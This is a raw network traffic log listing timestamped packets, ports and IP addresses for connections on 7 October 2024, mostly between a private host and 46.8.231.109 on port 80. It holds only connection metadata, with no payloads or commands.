Oct 7, 2024 19:33:21.967396021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967406988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967430115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967536926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967689037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967700958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967713118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967722893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967731953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967734098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967746019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967757940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967765093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967765093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967770100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967781067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967792988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967838049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968004942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968035936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968049049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968060970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968135118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968135118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968230963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968241930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968252897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968264103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968278885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968290091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968297005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968301058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968313932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968324900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968338013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968348026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968348026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968348026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968370914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968383074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968910933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968929052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968940973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968952894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968965054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968974113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.968978882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.968991995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969028950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969028950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969028950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969086885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969099998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969115019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969125032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969125986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969137907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969145060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969151020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969156027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969162941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969175100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969185114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969194889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969207048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969216108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969216108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969219923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969233990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969233990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969333887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969810963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969821930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969831944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.969872952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.969872952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970540047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970551968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970562935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970573902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970581055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970633984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970633984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970717907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970730066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970740080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970752001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970762014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970768929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970773935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970786095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970787048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970868111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970868111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970897913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970911026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970921040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970932961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.970938921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970978975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.970978975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971076965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971090078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971101046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971112967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971122980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971127987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971134901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971146107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971158028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971182108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971182108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971182108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971250057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971252918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971262932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971273899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971286058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971288919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971297026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971333981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971333981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971434116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971445084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971457958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971497059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971497059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971601963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971612930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971625090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971636057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971647978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971649885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971649885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971704960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971704960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971755028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971765995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971782923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971793890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971803904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971815109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971815109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971815109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971815109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971827984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971838951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971848965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971853018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971853018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971853018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971863985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971875906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971879959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971889019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.971889019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971920967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.971940041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972063065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972074032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972086906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972095966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972121000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972121000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972398996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972410917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972423077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972450972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972467899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972564936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972577095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972587109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972598076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972609997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972621918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972626925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972626925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972700119 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.972721100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.972800970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.033670902 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.033827066 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.033890009 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.034121990 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.034152031 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.034164906 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.034173965 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.036734104 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.036767960 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.036889076 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.037031889 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.037045956 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.051493883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051523924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051536083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051548004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051558971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051580906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051583052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051593065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051604986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051616907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051634073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051636934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051651001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051651001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051666021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051685095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051701069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051716089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051728964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051738977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.051781893 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051781893 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.051995993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052046061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052192926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052270889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052283049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052294970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052294970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052328110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052407980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052422047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052433014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052438021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052529097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052529097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052706003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052717924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052728891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052762985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052773952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052773952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052774906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052788973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052799940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052814007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052856922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052856922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052856922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052889109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052901983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052913904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052938938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052938938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.052973032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052984953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.052995920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053008080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053050041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053050041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053050041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053106070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053117037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053128958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053139925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053152084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053168058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053168058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053193092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053205967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053215981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053258896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053258896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053258896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053407907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053452015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053462029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053500891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.053541899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.053627968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.082437038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.088129997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.228146076 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.228540897 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.228571892 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.228944063 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.228950024 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.241462946 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.241760015 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.241780996 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.242077112 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.242082119 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.255203962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255223989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255234957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255280018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255280018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255398035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255410910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255424023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255451918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255474091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255487919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255498886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255511999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255511999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255526066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255542994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255554914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255556107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255564928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255578041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255589962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255592108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255593061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255649090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255671024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255717993 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255749941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255762100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255841970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255853891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.255876064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255903959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255903959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.255995989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256007910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256017923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256047964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256047964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256071091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256192923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256237030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256289959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256303072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256339073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256339073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256408930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256422043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256433010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256452084 CEST	49718	80	192.168.2.7	46.8.231.109
